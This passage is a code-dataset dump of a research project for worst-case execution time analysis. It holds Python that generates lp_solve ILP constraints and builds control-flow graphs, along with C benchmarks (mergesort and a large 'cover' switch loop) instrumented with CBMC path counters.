LpSolve.semiColon\n constraint += getNewLine(2)\n self._constraints.append(constraint)\n else:\n comment = LpSolve.getComment(\"Relative capacity constraint on header %d\" % headerID)\n self._constraints.append(comment)\n relativeBound = 0\n for programPoint in pathg.getLoopMonitoredProgramPoints(headerID):\n pathv = pathg.getProgramPointVertex(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.LOOP_BOUNDS)[0]\n relativeBound = max(relativeBound, succe.relative)\n # edges entering the loop\n loopBody = lnt.getLoopBody(headerID)\n v = cfg.getVertex(headerID)\n forwardSuccIDs = []\n for succID in v.getSuccessorIDs():\n if succID in loopBody:\n forwardSuccIDs.append((headerID, succID))\n constraint = \"\" \n count = 1 \n for edge in forwardSuccIDs:\n constraint += \"%s\" % LpSolve.getEdgeVariable(edge[0], edge[1])\n if count < len(forwardSuccIDs):\n constraint += LpSolve.plus\n count += 1\n # Pre-header edges\n forwardPredIDs = []\n for prede in v.getPredecessoredges():\n if not lnt.isLoopBackEdge(prede.vertexID, headerID):\n forwardPredIDs.append((prede.vertexID, headerID))\n constraint += LpSolve.ltOrEqual \n count = 1\n for edge in forwardPredIDs:\n constraint += \"%d %s\" % (relativeBound, LpSolve.getEdgeVariable(edge[0], edge[1]))\n if count < len(forwardPredIDs):\n constraint += LpSolve.plus\n count += 1\n constraint += LpSolve.semiColon\n constraint += getNewLine(2)\n self._constraints.append(constraint)\n \n def _createObjectiveFunction (self, data, contextWCETs, contextv, cfg):\n constraint = LpSolve.max_\n num = 1\n for var in self._variables:\n if var.startswith(LpSolve.vertexPrefix):\n lIndex = var.find('_')\n basicBlockID = int(var[lIndex+1:])\n wcet = data.getExecutionTime(cfg.getName(), basicBlockID)\n if cfg.isCallSite(basicBlockID):\n calleeContextID = contextv.getSuccessorWithCallSite(basicBlockID)\n calleeContextWCET = contextWCETs[calleeContextID]\n wcet += calleeContextWCET\n constraint += \"%d %s\" % (wcet, var)\n else:\n constraint += \"%d %s\" % (0, var)\n if num < len(self._variables):\n constraint += LpSolve.plus\n if num % 10 == 0:\n constraint += getNewLine()\n num += 1\n constraint += LpSolve.semiColon \n constraint += getNewLine(2)\n self._constraints.insert(0, constraint) \n \n def _createIntegerConstraint (self):\n constraint = LpSolve.int_ + \" \"\n num = 1\n for var in self._variables:\n constraint += var\n if num < len(self._variables):\n constraint += LpSolve.comma\n num += 1\n constraint += LpSolve.semiColon + getNewLine()\n self._constraints.append(constraint)\n \n def _outputConstraints (self):\n with open(self._filename, 'w') as ilpFile:\n for constraint in self._constraints:\n ilpFile.write(constraint)\n\nclass CreateCFGILPVanilla (CreateCFGILP):\n def __init__ (self, data, contextWCETs, contextv, cfg, lnt, pathg):\n CreateCFGILP.__init__(self)\n self._filename = \"%s.%s.context%s.%s.%s.vanilla\" % (config.Arguments.basepath + os.sep + config.Arguments.basename, \n contextv.getName(), \n contextv.vertexID, \n \"cfg\", \n LpSolve.fileSuffix)\n self._createStructuralConstraints(cfg)\n self._createExecutionCountConstraints(cfg, lnt, pathg)\n self._createIntegerConstraint()\n self._createObjectiveFunction(data, contextWCETs, contextv, cfg)\n self._outputConstraints()\n \nclass CreateCFGILPExtra (CreateCFGILP):\n def __init__ (self, data, contextWCETs, contextv, cfg, lnt, pathg):\n CreateCFGILP.__init__(self)\n self._filename = \"%s.%s.context%s.%s.%s.extra\" % (config.Arguments.basepath + os.sep + config.Arguments.basename, \n contextv.getName(), \n contextv.vertexID, \n \"cfg\", \n LpSolve.fileSuffix)\n self._createStructuralConstraints(cfg)\n self._createExecutionCountConstraints(cfg, lnt, pathg)\n self._createLowerAndUpperBoundConstraints(cfg, pathg)\n self._createIntegerConstraint()\n self._createObjectiveFunction(data, contextWCETs, contextv, cfg)\n self._outputConstraints()\n \n def _createLowerAndUpperBoundConstraints (self, cfg, pathg):\n comment = LpSolve.getComment(\"Infeasible path constraints\")\n self._constraints.append(comment)\n for pathv in pathg:\n programPoint = pathv.getProgramPoint()\n if isinstance(programPoint, tuple):\n constraint1 = LpSolve.getEdgeVariable(programPoint[0], programPoint[1])\n else:\n constraint1 = LpSolve.getVertexVariable(programPoint)\n succe = pathv.getSuccessoredges(edges.PathInformationEdgeType.CAPACITY_BOUNDS)[0]\n constraint1 += LpSolve.gtOrEqual\n constraint1 += str(succe.lower)\n constraint1 += LpSolve.semiColon;\n constraint1 += getNewLine()\n self._constraints.append(constraint1)\n if isinstance(programPoint, tuple):\n constraint2 = LpSolve.getEdgeVariable(programPoint[0], programPoint[1])\n else:\n constraint2 = LpSolve.getVertexVariable(programPoint)\n constraint2 += LpSolve.ltOrEqual\n constraint2 += str(succe.upper)\n constraint2 += LpSolve.semiColon;\n constraint2 += getNewLine(2)\n self._constraints.append(constraint2) \n \n \n" }, { "alpha_fraction": 0.4096066653728485, "alphanum_fraction": 0.4527231454849243, "avg_line_length": 13.85393238067627, "blob_id": "4418e59e5abd6d1d240a25673e3c3dfddbe64b57", "content_id": "fbdb1db9b036f8fb5dc11f8d07ea0023701a8f74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2644, "license_type": "no_license", "max_line_length": 75, "num_lines": 178, "path": "/DaikonPathInformation/benchmarks/mergesort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Merge sort which consumes a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\nint\nmerge (int ARRAY_SIZE, int a[], int b[], int l, int r, int u)\n{\n #ifdef CBMC\n int __count_13_15 = 0;\n int __count_14_15 = 0;\n int __count_16_20 = 0;\n int __count_18_20 = 0;\n int __count_20_19 = 0;\n int __count_23_22 = 0;\n int __count_26_25 = 0;\n int __count_L26 = 0;\n int __count_L23 = 0;\n int __count_L20 = 0;\n int __count_L16 = 0;\n #endif\n\n int i = l;\n int j = r;\n int k = l;\n\n while (\n #ifdef CBMC\n __count_L16++,\n #endif\n i < r && j < u)\n {\n if (a[i] <= a[j])\n {\n b[k] = a[i];\n i++;\n #ifdef CBMC\n __count_13_15++;\n #endif\n }\n else\n {\n b[k] = a[j];\n j++;\n #ifdef CBMC\n __count_14_15++;\n #endif\n }\n k++;\n }\n\n // TODO: check\n #ifdef CBMC\n if(i < r) {\n __count_18_20++;\n }\n else {\n __count_16_20++;\n }\n #endif\n\n while (\n #ifdef CBMC\n __count_L20++,\n #endif\n i < r)\n {\n #ifdef CBMC\n __count_20_19++;\n #endif\n b[k] = a[i];\n i++;\n k++;\n }\n while (\n #ifdef CBMC\n __count_L23++,\n #endif\n j < u)\n {\n #ifdef CBMC\n __count_23_22++;\n #endif\n b[k] = a[j];\n j++;\n k++;\n }\n for (k = l; \n #ifdef CBMC\n __count_L26++,\n #endif\n k < u; k++)\n {\n #ifdef CBMC\n __count_26_25++;\n #endif\n a[k] = b[k];\n }\n}\n\nint\nmergesort (int ARRAY_SIZE, int a[])\n{\n #ifdef CBMC\n int __count_3_5 = 0;\n int __count_4_5 = 0;\n int __count_L9 = 0;\n int __count_L7 = 0;\n #endif\n\n int k = 1;\n int u;\n int i;\n int b[ARRAY_SIZE];\n\n while (\n #ifdef CBMC\n __count_L9++,\n #endif\n k < ARRAY_SIZE)\n {\n i = 1;\n while (\n #ifdef CBMC\n __count_L7++,\n #endif\n i + k <= ARRAY_SIZE)\n {\n u = i + k * 2;\n if (u > ARRAY_SIZE)\n {\n u = ARRAY_SIZE + 1;\n #ifdef CBMC\n __count_4_5++;\n #endif\n }\n #ifdef CBMC\n else __count_3_5++;\n #endif\n merge (ARRAY_SIZE, a, b, i, i + k, u);\n i = i + k * 2;\n }\n k = k * 2;\n }\n \n return a[0];\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n int val = mergesort (ARRAY_SIZE, TV);\n \n printf(\"%d\", val);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5870108008384705, "alphanum_fraction": 0.5936719179153442, "avg_line_length": 28.774999618530273, "blob_id": "7636324c243f19d7b6f1adac430b8ceedc7fd5b0", "content_id": "2873ade6a4223792dc8deb4944c8951f7bec9937", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 93, "num_lines": 40, "path": "/DaikonPathInformation/src/edges.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "dummyID = 0\n\nclass Edge (): \n def __init__ (self, vertexID, edgeID=None): \n self.vertexID = vertexID\n if edgeID is None:\n self.edgeID = dummyID\n else:\n self.edgeID = edgeID\n \nclass CallGraphEdge(Edge):\n def __init__ (self, vertexID):\n Edge.__init__(self, vertexID)\n self.call_sites = set()\n \nclass PathInformationEdgeType:\n INCLUSION = 0\n EXCLUSION = 1\n LOOP_BOUNDS = 2\n CAPACITY_BOUNDS = 3\n \nclass PathInformationEdge (Edge): \n def __init__ (self, vertexID, infoType):\n Edge.__init__(self, vertexID)\n self.__infoType = infoType\n \n def getInformationType (self):\n return self.__infoType\n \nclass LoopBoundEdge (PathInformationEdge):\n def __init__ (self, vertexID):\n PathInformationEdge.__init__(self, vertexID, PathInformationEdgeType.LOOP_BOUNDS)\n self.relative = 0\n self.upper = 0\n \nclass CapacityBoundEdge (PathInformationEdge):\n def __init__ (self, vertexID):\n PathInformationEdge.__init__(self, vertexID, PathInformationEdgeType.CAPACITY_BOUNDS)\n self.lower = sys.maxint\n self.upper = 0\n \n \n" }, { "alpha_fraction": 0.5595207214355469, "alphanum_fraction": 0.561582088470459, "avg_line_length": 36.11483383178711, "blob_id": "bcf74075e5ed5ecd37da8ec5eec25b63866370c8", "content_id": "25a7c610205d2ef3283bfc5e4a598b6064c3d23e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7762, "license_type": "no_license", "max_line_length": 158, "num_lines": 209, "path": "/GPUTimingAnalysis/src/CFGs.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "from DirectedGraphs import dummyVertexID, DirectedGraph\nfrom Vertices import Vertex, Ipoint\n\n# Class to mode instructions inside basic blocks\nclass Instruction (): \n labelPrefix = \"$L\"\n \n def __init__ (self, address, instrString):\n self.address = address\n self.instrString = instrString\n \n def getAddress (self):\n return self.address\n \n def getString (self):\n return self.instrString\n \n def containsLabel (self, label):\n import shlex\n lexemes = shlex.split(self.instrString)\n if lexemes[0].startswith(Instruction.labelPrefix):\n assert lexemes[0].endswith(':'), \"Instruction '%s' does not contain a valid label\" % self\n return label == lexemes[0][:-1]\n return False\n \n def __str__(self):\n return hex(self.address) + \" : \" + self.instrString\n\nclass BasicBlock (Vertex):\n def __init__ (self, vertexID):\n Vertex.__init__(self, vertexID)\n self.instructions = {}\n \n def addInstruction (self, instr):\n address = instr.getAddress()\n assert address not in self.instructions, \"Basic block \" + str(self._vertexID) + \" already has instruction with address \" + str(address)\n self.instructions[address] = instr\n \n def getFirstInstruction (self):\n return sorted(self.instructions.iteritems())[0]\n \n def getLastInstruction (self):\n return sorted(self.instructions.iteritems())[len(self.instructions) - 1]\n \n def numberOfInstructions (self):\n return len(self.instructions)\n \n def getInstructions (self):\n return sorted(self.instructions.iteritems())\n \n def __str__ (self):\n string = \"Vertex ID = \" + str(self._vertexID) + \"\\n\"\n string += \"\\t\" + Vertex.predecessorStr(self)\n string += \"\\t\" + Vertex.successorStr(self)\n string += \"\\t\" + 40 * \"=\" + \"\\n\" \n for address, instr in sorted(self.instructions.iteritems()):\n string += \"\\t\" + instr.__str__() + \"\\n\" \n string += \"\\t\" + 40 * \"=\" + \"\\n\" \n return string\n \nclass CFG (DirectedGraph): \n def __init__ (self):\n DirectedGraph.__init__(self)\n self._entryID = dummyVertexID\n self._exitID = dummyVertexID\n \n def getReverseCFG (self):\n reverseg = CFG()\n # Add vertices\n for v in self:\n copyv = None\n if isinstance(v, BasicBlock):\n copyv = BasicBlock(v.getVertexID())\n else:\n assert isinstance(v, Ipoint)\n copyv = Ipoint(v.getVertexID(), v.getIpointID())\n reverseg.addVertex(copyv)\n \n # Add edges\n for v in self:\n predID = v.getVertexID()\n predv = reverseg.getVertex(predID)\n for succID in v.getSuccessorIDs():\n succv = reverseg.getVertex(succID)\n predv.addPredecessor(succID)\n succv.addSuccessor(predID)\n \n # Set the entry and exit IDs\n reverseg.setEntryID(self.getExitID())\n reverseg.setExitID(self.getExitID())\n return reverseg\n \n def addVertex (self, bb):\n bbID = bb.getVertexID()\n assert bbID not in self.vertices, \\\n \"Adding basic block %d which is already in graph\" % bbID\n self.vertices[bbID] = bb\n \n def getVertex (self, bbID):\n return DirectedGraph.getVertex(self, bbID)\n \n def getEntryID (self):\n assert self._entryID != dummyVertexID, \"Entry ID not set\" \n return self._entryID\n \n def setEntryID (self, entryID=None):\n if entryID is None:\n for bb in self.vertices.values():\n if bb.numberOfPredecessors() == 0:\n bbID = bb.getVertexID()\n assert self._entryID == dummyVertexID, \"The entry ID has already been set to %s. Found another entry candidate %s\" % (self._entryID, bbID)\n self._entryID = bbID\n assert self._entryID != dummyVertexID, \"Unable to find a vertex without predecessors to set as the entry\"\n else:\n assert entryID in self.vertices, \"Cannot find vertex \" + str(entryID) + \" in vertices\"\n assert entryID > dummyVertexID, \"Entry ID \" + str(entryID) + \" is not positive\"\n self._entryID = entryID\n \n def getExitID (self):\n assert self._exitID != dummyVertexID, \"Exit ID not set\" \n return self._exitID\n \n def setExitID (self, exitID=None):\n if exitID is None:\n for bb in self.vertices.values():\n if bb.numberOfSuccessors() == 0:\n bbID = bb.getVertexID()\n assert self._exitID == dummyVertexID, \"The exit ID has already been set to %s. Found another entry candidate %s\" % (self._entryID, bbID)\n self._exitID = bbID\n assert self._exitID != dummyVertexID, \"Unable to find a vertex without successors to set as the entry\"\n else:\n assert exitID in self.vertices, \"Cannot find vertex \" + str(exitID) + \" in vertices\"\n assert exitID > dummyVertexID, \"Exit ID \" + str(exitID) + \" is not positive\"\n self._exitID = exitID\n \n def addExitEntryEdge (self):\n\n assert self._exitID != dummyVertexID, \"Exit ID not set\"\n entryv = self.getVertex(self._entryID)\n exitv = self.getVertex(self._exitID)\n entryv.addPredecessor(self._exitID)\n exitv.addSuccessor(self._entryID)\n \n def __str__ (self):\n string = \"*\" * 20 + \" CFG Output \" + \"*\" * 20 + \"\\n\" + \\\n \"Entry ID = %s\\n\" % str(self._entryID) + \\\n \"Exit ID = %s\\n\" % str(self._exitID) + \"\\n\"\n for bb in self.vertices.values():\n string += bb.__str__()\n return string\n \nclass Program():\n def __init__(self):\n self.__cfgs = []\n self.__icfgs = []\n self.__ipgs = []\n self.__lnts = []\n self.__hwmts = {}\n self.__wcets = {}\n \n def getIPGWithEntryIpointID (self, ipointID):\n for ipg in self.__ipgs:\n startv = ipg.getVertex(ipg.getEntryID())\n if startv.getIpointID() == ipointID:\n return ipg\n assert False, \"Unable to find IPG whose entry Ipoint ID is %d\" % ipointID\n \n def updateHWMT (self, functionName, time):\n if functionName not in self.__hwmts:\n self.__hwmts[functionName] = time\n else:\n if time > self.__hwmts[functionName]:\n self.__hwmts[functionName] = time\n \n def getHWMT (self, functionName):\n assert functionName in self.__hwmts, \"Unable to find a HWMT value for %s\" % (functionName)\n return self.__hwmts[functionName]\n \n def updateWCET (self, functionName, time):\n assert functionName not in self.__wcets, \"Already have a WCET value for %s which is %d\" % (functionName, time)\n self.__wcets[functionName] = time\n \n def getWCET (self, functionName):\n assert functionName in self.__wcets, \"Unable to find a WCET value for %s\" % (functionName)\n return self.__wcets[functionName]\n \n def addCFG (self, cfg):\n self.__cfgs.append(cfg)\n \n def addICFG (self, icfg):\n self.__icfgs.append(icfg)\n \n def addIPG (self, ipg):\n self.__ipgs.append(ipg)\n \n def addLNT (self, lnt):\n self.__lnts.append(lnt)\n \n def getCFGs (self):\n return self.__cfgs.__iter__() \n\n def getICFGs (self):\n return self.__icfgs.__iter__() \n\n def getIPGs (self):\n return self.__ipgs.__iter__() \n \n def getLNTs (self):\n return self.__lnts.__iter__() \n " }, { "alpha_fraction": 0.4417192041873932, "alphanum_fraction": 0.5431581735610962, "avg_line_length": 24.408727645874023, "blob_id": "48028c4e2f5beb957e7a362aabbf9868912c27b0", "content_id": "2fe78d7ae77720ed3593bb6bdba7c923e4c7a994", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 47743, "license_type": "no_license", "max_line_length": 83, "num_lines": 1879, "path": "/DaikonPathInformation/benchmarks/cover.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Cover taken from MDH suite and modified by Adam Betts to consume a\n * test vector supplied on the command line. Note that the three original functions\n * 'swi10', 'swi50', 'swi120' have all been merged into the single 'cover' function\n * because they each have a loop with a fixed number of iterations, and the paths\n * followed through each do not depend on input or a particular calling order\n *\n * For this program, a one-element test vector is expected.\n */\n \nint \nswi120 (int c)\n{\n #ifdef CBMC\n//==========> swi120 : header 126\nint __count_3_4 = 0;\nint __count_3_5 = 0;\nint __count_3_6 = 0;\nint __count_3_7 = 0;\nint __count_3_9 = 0;\nint __count_3_12 = 0;\nint __count_3_13 = 0;\nint __count_3_14 = 0;\nint __count_3_17 = 0;\nint __count_3_20 = 0;\nint __count_3_21 = 0;\nint __count_3_22 = 0;\nint __count_3_25 = 0;\nint __count_3_28 = 0;\nint __count_3_29 = 0;\nint __count_3_30 = 0;\nint __count_3_33 = 0;\nint __count_3_36 = 0;\nint __count_3_37 = 0;\nint __count_3_38 = 0;\nint __count_3_41 = 0;\nint __count_3_44 = 0;\nint __count_3_45 = 0;\nint __count_3_46 = 0;\nint __count_3_49 = 0;\nint __count_3_52 = 0;\nint __count_3_53 = 0;\nint __count_3_54 = 0;\nint __count_3_57 = 0;\nint __count_3_60 = 0;\nint __count_3_61 = 0;\nint __count_3_62 = 0;\nint __count_3_65 = 0;\nint __count_3_68 = 0;\nint __count_3_69 = 0;\nint __count_3_70 = 0;\nint __count_3_73 = 0;\nint __count_3_76 = 0;\nint __count_3_77 = 0;\nint __count_3_78 = 0;\nint __count_3_81 = 0;\nint __count_3_84 = 0;\nint __count_3_85 = 0;\nint __count_3_86 = 0;\nint __count_3_89 = 0;\nint __count_3_92 = 0;\nint __count_3_93 = 0;\nint __count_3_94 = 0;\nint __count_3_97 = 0;\nint __count_3_100 = 0;\nint __count_3_101 = 0;\nint __count_3_102 = 0;\nint __count_3_105 = 0;\nint __count_3_108 = 0;\nint __count_3_109 = 0;\nint __count_3_110 = 0;\nint __count_3_113 = 0;\nint __count_3_116 = 0;\nint __count_3_117 = 0;\nint __count_3_118 = 0;\nint __count_3_121 = 0;\nint __count_8_125 = 0;\nint __count_10_125 = 0;\nint __count_11_125 = 0;\nint __count_15_125 = 0;\nint __count_16_125 = 0;\nint __count_18_125 = 0;\nint __count_19_125 = 0;\nint __count_23_125 = 0;\nint __count_24_125 = 0;\nint __count_26_125 = 0;\nint __count_27_125 = 0;\nint __count_31_125 = 0;\nint __count_32_125 = 0;\nint __count_34_125 = 0;\nint __count_35_125 = 0;\nint __count_39_125 = 0;\nint __count_40_125 = 0;\nint __count_42_125 = 0;\nint __count_43_125 = 0;\nint __count_47_125 = 0;\nint __count_48_125 = 0;\nint __count_50_125 = 0;\nint __count_51_125 = 0;\nint __count_55_125 = 0;\nint __count_56_125 = 0;\nint __count_58_125 = 0;\nint __count_59_125 = 0;\nint __count_63_125 = 0;\nint __count_64_125 = 0;\nint __count_66_125 = 0;\nint __count_67_125 = 0;\nint __count_71_125 = 0;\nint __count_72_125 = 0;\nint __count_74_125 = 0;\nint __count_75_125 = 0;\nint __count_79_125 = 0;\nint __count_80_125 = 0;\nint __count_82_125 = 0;\nint __count_83_125 = 0;\nint __count_87_125 = 0;\nint __count_88_125 = 0;\nint __count_90_125 = 0;\nint __count_91_125 = 0;\nint __count_95_125 = 0;\nint __count_96_125 = 0;\nint __count_98_125 = 0;\nint __count_99_125 = 0;\nint __count_103_125 = 0;\nint __count_104_125 = 0;\nint __count_106_125 = 0;\nint __count_107_125 = 0;\nint __count_111_125 = 0;\nint __count_112_125 = 0;\nint __count_114_125 = 0;\nint __count_115_125 = 0;\nint __count_119_125 = 0;\nint __count_120_125 = 0;\nint __count_122_125 = 0;\nint __count_123_125 = 0;\nint __count_124_125 = 0;\nint __count_126_2 = 0; //Loop counter\n//==========> swi120 : header 1\nint __count_127 = 0;\nint __count_126_127 = 0;\n#endif\n\n int i;\n \n for (i = 0; i < 120; i++)\n {\n #ifdef CBMC\n __count_126_2++;\n #endif\n switch (i)\n {\n case 0:\n #ifdef CBMC\n __count_3_4++;\n #endif\n c++;\n break;\n case 1:\n #ifdef CBMC\n __count_3_5++;\n #endif\n c++;\n break;\n case 2:\n #ifdef CBMC\n __count_3_6++;\n #endif\n c++;\n break;\n case 3:\n #ifdef CBMC\n __count_3_7++;\n #endif\n c++;\n break;\n case 4:\n #ifdef CBMC\n __count_8_125++;\n #endif\n c++;\n break;\n case 5:\n #ifdef CBMC\n __count_3_9++;\n #endif\n c++;\n break;\n case 6:\n #ifdef CBMC\n __count_10_125++;\n #endif\n c++;\n break;\n case 7:\n #ifdef CBMC\n __count_11_125++;\n #endif\n c++;\n break;\n case 8:\n #ifdef CBMC\n __count_3_12++;\n #endif\n c++;\n break;\n case 9:\n #ifdef CBMC\n __count_3_13++;\n #endif\n c++;\n break;\n case 10:\n #ifdef CBMC\n __count_3_14++;\n #endif\n c++;\n break;\n case 11:\n #ifdef CBMC\n __count_15_125++;\n #endif\n c++;\n break;\n case 12:\n #ifdef CBMC\n __count_16_125++;\n #endif\n c++;\n break;\n case 13:\n #ifdef CBMC\n __count_3_17++;\n #endif\n c++;\n break;\n case 14:\n #ifdef CBMC\n __count_18_125++;\n #endif\n c++;\n break;\n case 15:\n #ifdef CBMC\n __count_19_125++;\n #endif\n c++;\n break;\n case 16:\n #ifdef CBMC\n __count_3_20++;\n #endif\n c++;\n break;\n case 17:\n #ifdef CBMC\n __count_3_21++;\n #endif\n c++;\n break;\n case 18:\n #ifdef CBMC\n __count_3_22++;\n #endif\n c++;\n break;\n case 19:\n #ifdef CBMC\n __count_23_125++;\n #endif\n c++;\n break;\n case 20:\n #ifdef CBMC\n __count_24_125++;\n #endif\n c++;\n break;\n case 21:\n #ifdef CBMC\n __count_3_25++;\n #endif\n c++;\n break;\n case 22:\n #ifdef CBMC\n __count_26_125++;\n #endif\n c++;\n break;\n case 23:\n #ifdef CBMC\n __count_27_125++;\n #endif\n c++;\n break;\n case 24:\n #ifdef CBMC\n __count_3_28++;\n #endif\n c++;\n break;\n case 25:\n #ifdef CBMC\n __count_3_29++;\n #endif\n c++;\n break;\n case 26:\n #ifdef CBMC\n __count_3_30++;\n #endif\n c++;\n break;\n case 27:\n #ifdef CBMC\n __count_31_125++;\n #endif\n c++;\n break;\n case 28:\n #ifdef CBMC\n __count_32_125++;\n #endif\n c++;\n break;\n case 29:\n #ifdef CBMC\n __count_3_33++;\n #endif\n c++;\n break;\n case 30:\n #ifdef CBMC\n __count_34_125++;\n #endif\n c++;\n break;\n case 31:\n #ifdef CBMC\n __count_35_125++;\n #endif\n c++;\n break;\n case 32:\n #ifdef CBMC\n __count_3_36++;\n #endif\n c++;\n break;\n case 33:\n #ifdef CBMC\n __count_3_37++;\n #endif\n c++;\n break;\n case 34:\n #ifdef CBMC\n __count_3_38++;\n #endif\n c++;\n break;\n case 35:\n #ifdef CBMC\n __count_39_125++;\n #endif\n c++;\n break;\n case 36:\n #ifdef CBMC\n __count_40_125++;\n #endif\n c++;\n break;\n case 37:\n #ifdef CBMC\n __count_3_41++;\n #endif\n c++;\n break;\n case 38:\n #ifdef CBMC\n __count_42_125++;\n #endif\n c++;\n break;\n case 39:\n #ifdef CBMC\n __count_43_125++;\n #endif\n c++;\n break;\n case 40:\n #ifdef CBMC\n __count_3_44++;\n #endif\n c++;\n break;\n case 41:\n #ifdef CBMC\n __count_3_45++;\n #endif\n c++;\n break;\n case 42:\n #ifdef CBMC\n __count_3_46++;\n #endif\n c++;\n break;\n case 43:\n #ifdef CBMC\n __count_47_125++;\n #endif\n c++;\n break;\n case 44:\n #ifdef CBMC\n __count_48_125++;\n #endif\n c++;\n break;\n case 45:\n #ifdef CBMC\n __count_3_49++;\n #endif\n c++;\n break;\n case 46:\n #ifdef CBMC\n __count_50_125++;\n #endif\n c++;\n break;\n case 47:\n #ifdef CBMC\n __count_51_125++;\n #endif\n c++;\n break;\n case 48:\n #ifdef CBMC\n __count_3_52++;\n #endif\n c++;\n break;\n case 49:\n #ifdef CBMC\n __count_3_53++;\n #endif\n c++;\n break;\n case 50:\n #ifdef CBMC\n __count_3_54++;\n #endif\n c++;\n break;\n case 51:\n #ifdef CBMC\n __count_55_125++;\n #endif\n c++;\n break;\n case 52:\n #ifdef CBMC\n __count_56_125++;\n #endif\n c++;\n break;\n case 53:\n #ifdef CBMC\n __count_3_57++;\n #endif\n c++;\n break;\n case 54:\n #ifdef CBMC\n __count_58_125++;\n #endif\n c++;\n break;\n case 55:\n #ifdef CBMC\n __count_59_125++;\n #endif\n c++;\n break;\n case 56:\n #ifdef CBMC\n __count_3_60++;\n #endif\n c++;\n break;\n case 57:\n #ifdef CBMC\n __count_3_61++;\n #endif\n c++;\n break;\n case 58:\n #ifdef CBMC\n __count_3_62++;\n #endif\n c++;\n break;\n case 59:\n #ifdef CBMC\n __count_63_125++;\n #endif\n c++;\n break;\n case 60:\n #ifdef CBMC\n __count_64_125++;\n #endif\n c++;\n break;\n case 61:\n #ifdef CBMC\n __count_3_65++;\n #endif\n c++;\n break;\n case 62:\n #ifdef CBMC\n __count_66_125++;\n #endif\n c++;\n break;\n case 63:\n #ifdef CBMC\n __count_67_125++;\n #endif\n c++;\n break;\n case 64:\n #ifdef CBMC\n __count_3_68++;\n #endif\n c++;\n break;\n case 65:\n #ifdef CBMC\n __count_3_69++;\n #endif\n c++;\n break;\n case 66:\n #ifdef CBMC\n __count_3_70++;\n #endif\n c++;\n break;\n case 67:\n #ifdef CBMC\n __count_71_125++;\n #endif\n c++;\n break;\n case 68:\n #ifdef CBMC\n __count_72_125++;\n #endif\n c++;\n break;\n case 69:\n #ifdef CBMC\n __count_3_73++;\n #endif\n c++;\n break;\n case 70:\n #ifdef CBMC\n __count_74_125++;\n #endif\n c++;\n break;\n case 71:\n #ifdef CBMC\n __count_75_125++;\n #endif\n c++;\n break;\n case 72:\n #ifdef CBMC\n __count_3_76++;\n #endif\n c++;\n break;\n case 73:\n #ifdef CBMC\n __count_3_77++;\n #endif\n c++;\n break;\n case 74:\n #ifdef CBMC\n __count_3_78++;\n #endif\n c++;\n break;\n case 75:\n #ifdef CBMC\n __count_79_125++;\n #endif\n c++;\n break;\n case 76:\n #ifdef CBMC\n __count_80_125++;\n #endif\n c++;\n break;\n case 77:\n #ifdef CBMC\n __count_3_81++;\n #endif\n c++;\n break;\n case 78:\n #ifdef CBMC\n __count_82_125++;\n #endif\n c++;\n break;\n case 79:\n #ifdef CBMC\n __count_83_125++;\n #endif\n c++;\n break;\n case 80:\n #ifdef CBMC\n __count_3_84++;\n #endif\n c++;\n break;\n case 81:\n #ifdef CBMC\n __count_3_85++;\n #endif\n c++;\n break;\n case 82:\n #ifdef CBMC\n __count_3_86++;\n #endif\n c++;\n break;\n case 83:\n #ifdef CBMC\n __count_87_125++;\n #endif\n c++;\n break;\n case 84:\n #ifdef CBMC\n __count_88_125++;\n #endif\n c++;\n break;\n case 85:\n #ifdef CBMC\n __count_3_89++;\n #endif\n c++;\n break;\n case 86:\n #ifdef CBMC\n __count_90_125++;\n #endif\n c++;\n break;\n case 87:\n #ifdef CBMC\n __count_91_125++;\n #endif\n c++;\n break;\n case 88:\n #ifdef CBMC\n __count_3_92++;\n #endif\n c++;\n break;\n case 89:\n #ifdef CBMC\n __count_3_93++;\n #endif\n c++;\n break;\n case 90:\n #ifdef CBMC\n __count_3_94++;\n #endif\n c++;\n break;\n case 91:\n #ifdef CBMC\n __count_95_125++;\n #endif\n c++;\n break;\n case 92:\n #ifdef CBMC\n __count_96_125++;\n #endif\n c++;\n break;\n case 93:\n #ifdef CBMC\n __count_3_97++;\n #endif\n c++;\n break;\n case 94:\n #ifdef CBMC\n __count_98_125++;\n #endif\n c++;\n break;\n case 95:\n #ifdef CBMC\n __count_99_125++;\n #endif\n c++;\n break;\n case 96:\n #ifdef CBMC\n __count_3_100++;\n #endif\n c++;\n break;\n case 97:\n #ifdef CBMC\n __count_3_101++;\n #endif\n c++;\n break;\n case 98:\n #ifdef CBMC\n __count_3_102++;\n #endif\n c++;\n break;\n case 99:\n #ifdef CBMC\n __count_103_125++; \n #endif\n c++;\n break;\n case 100:\n #ifdef CBMC\n __count_104_125++;\n #endif\n c++;\n break;\n case 101:\n #ifdef CBMC\n __count_3_105++;\n #endif\n c++;\n break;\n case 102:\n #ifdef CBMC\n __count_106_125++;\n #endif\n c++;\n break;\n case 103:\n #ifdef CBMC\n __count_107_125++;\n #endif\n c++;\n break;\n case 104:\n #ifdef CBMC\n __count_3_108++;\n #endif\n c++;\n break;\n case 105:\n #ifdef CBMC\n __count_3_109++;\n #endif\n c++;\n break;\n case 106:\n #ifdef CBMC\n __count_3_110++;\n #endif\n c++;\n break;\n case 107:\n #ifdef CBMC\n __count_111_125++;\n #endif\n c++;\n break;\n case 108:\n #ifdef CBMC\n __count_112_125++;\n #endif\n c++;\n break;\n case 109:\n #ifdef 